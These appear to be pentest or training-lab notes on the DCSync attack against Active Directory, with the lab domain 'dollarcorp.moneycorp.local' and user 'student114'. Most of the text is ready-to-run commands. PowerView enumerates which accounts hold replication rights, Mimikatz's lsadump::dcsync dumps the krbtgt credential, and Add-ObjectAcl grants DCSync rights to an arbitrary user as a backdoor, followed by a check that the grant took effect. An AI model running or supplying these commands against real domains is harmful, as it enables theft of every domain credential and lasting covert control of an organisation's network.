The DCSync permission implies having these permissions over the domain itself: DS-Replication-Get-Changes, Replicating Directory Changes All and Replicating Directory Changes In Filtered Set.
Important Notes about DCSync:
Check who has these permissions using powerview:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')}
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
If you are a domain admin, you can grant this permissions to any user with the help of powerview:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
Then, you can check if the user was correctly assigned the 3 privileges looking for them in the output of (you should be able to see the names of the privileges inside the “ObjectType” field):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}